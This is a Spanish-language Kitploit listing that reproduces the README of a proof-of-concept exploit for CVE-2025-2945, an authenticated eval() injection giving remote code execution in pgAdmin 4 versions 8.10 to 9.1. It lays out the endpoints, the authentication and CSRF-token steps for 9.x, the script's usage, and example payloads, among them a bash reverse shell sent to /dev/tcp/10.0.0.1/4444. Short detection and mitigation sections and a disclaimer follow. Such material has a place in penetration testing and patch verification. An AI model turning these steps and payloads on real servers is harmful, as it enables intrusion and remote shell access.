Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-2945-pgadmin-rce — RCE autenticado en pgAdmin 4 (8.10–9.1) mediante inyección de eval() en la herramienta de consultas. Este es un PoC actualizado con correcciones de compatibilidad para los cambios de autenticación de pgAdmin 9.x | Kitploit
Herramientas/GitHubGitHub/plur1bu5/cve-2025-2945-pgadmin-rce
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónRed Teaming
GitHubplur1bu5/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgadmin-rce

RCE autenticado en pgAdmin 4 (8.10–9.1) mediante inyección de eval() en la herramienta de consultas. Este es un PoC actualizado con correcciones de compatibilidad para los cambios de autenticación de pgAdmin 9.x

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-2945 — RCE autenticado en la herramienta de consulta de pgAdmin 4

Prueba de concepto para CVE-2025-2945, una vulnerabilidad crítica de ejecución remota de código en pgAdmin 4.

Versiones afectadas: 8.10 hasta 9.1
Corregido en: 9.2 (publicada el 4 de abril de 2025)
CVSS v3.1: 9.9 (Crítica)


Visión general

La herramienta de consulta de pgAdmin 4 expone un endpoint que acepta un parámetro query_commited y lo pasa directamente a la función incorporada eval() de Python sin ningún tipo de saneamiento. Un atacante autenticado puede enviar código Python arbitrario a través de este parámetro y hacer que se ejecute en el servidor bajo la cuenta de servicio de pgAdmin.

El endpoint vulnerable es:

root@kitploit:~
POST /sqleditor/query_tool/download/<trans_id>

El campo query_commited del cuerpo JSON se evalúa como código Python en el servidor.


Análisis técnico

Causa raíz

En las versiones de pgAdmin 4 anteriores a la 9.2, el manejador de descarga de la herramienta de consulta llama a eval() sobre la entrada proporcionada por el usuario:

root@kitploit:~
# Simplified representation of the vulnerable code path
result = eval(data.get('query_commited'))

No se aplica ninguna validación de entrada, sandboxing ni lista de permitidos. Cualquier expresión Python válida se ejecuta con los privilegios del proceso de pgAdmin.

Flujo de explotación

  1. Autenticarse — enviar las credenciales por POST a /authenticate/login, obtener una cookie de sesión y el token CSRF
  2. Inicializar sqleditor — enviar un POST a /sqleditor/initialize/sqleditor/<trans_id>/<sgid>/<sid>/<did> con las credenciales de la base de datos para establecer una sesión de la herramienta de consulta
  3. Descubrir el ID del servidor — enviar un GET a /sqleditor/get_server_connection/<sgid>/<sid> iterando sobre IDs hasta que uno devuelva data.status == true
  4. Provocar eval — enviar un POST a /sqleditor/query_tool/download/<trans_id> con {"query_commited": "<python payload>"}, y recibir una respuesta 500 que confirme la ejecución

Manejo del token CSRF (pgAdmin 9.x)

Las versiones anteriores de pgAdmin incrustaban el token CSRF en un campo <input> oculto o en una cookie. La versión 9.x pasó a una arquitectura SPA de React donde el token se incrusta como JSON dentro de una llamada a window.renderSecurityPage() en la página /login:

root@kitploit:~
"csrfToken": "<token value>"

El token tiene alcance de sesión (Flask-WTF / itsdangerous), por lo que el token obtenido del GET /login inicial sigue siendo válido durante toda la sesión y se puede reutilizar para todas las llamadas API posteriores.

Cambio en el endpoint de inicio de sesión

pgAdmin 9.x dividió la ruta de inicio de sesión:

  • GET /login — renderiza la página de inicio de sesión (contiene el token CSRF)
  • POST /authenticate/login — procesa las credenciales

Los PoCs antiguos que hacen POST directamente a /login recibirán un 404 o 405 en instancias 9.x.


Requisitos

  • Python 3.7+
  • Credenciales válidas de pgAdmin (cualquier usuario autenticado)
  • Credenciales válidas de base de datos para un servidor registrado en pgAdmin
root@kitploit:~
pip install requests faker

Uso

root@kitploit:~
python3 poc.py \
  --rhost <target_host> \
  --username <pgadmin_email> \
  --password <pgadmin_password> \
  --db-user <db_username> \
  --db-pass <db_password> \
  --db-name <database_name> \
  --payload "<python_expression>"

Argumentos

ArgumentoDescripción
--rhostHostname o IP de destino (sin esquema)
--rportPuerto de destino (por defecto: 80)
--usernameCorreo electrónico de inicio de sesión de pgAdmin
--passwordContraseña de inicio de sesión de pgAdmin
--db-userNombre de usuario de PostgreSQL
--db-passContraseña de PostgreSQL
--db-nameNombre de la base de datos
--payloadExpresión Python a evaluar en el servidor
--max-server-idNúmero máximo de IDs de servidor a probar (por defecto: 10)

Ejemplos de payloads

Ejecución de comandos:

root@kitploit:~
--payload "__import__('os').system('id')"

Shell inversa:

root@kitploit:~
--payload "__import__('os').system('bash -c \"bash -i >& /dev/tcp/10.0.0.1/4444 0>&1\"')"

Detección

  • Respuestas HTTP 500 inesperadas desde /sqleditor/query_tool/download/
  • El proceso de pgAdmin generando procesos hijos (shells, curl, wget)
  • Conexiones salientes desde el host de pgAdmin a IPs desconocidas

Mitigación

Actualiza a la versión 9.2 o posterior de pgAdmin 4.


Referencias

  • https://nvd.nist.gov/vuln/detail/CVE-2025-2945
  • https://www.tenable.com/security/research/tra-2025-2945
  • https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/multi/http/pgadmin_query_tool_rce

Descargo de responsabilidad

Este repositorio es solo para fines educativos y de pruebas autorizadas. No lo utilices contra sistemas que no poseas o para los que no tengas permiso explícito de prueba.

Descargar herramienta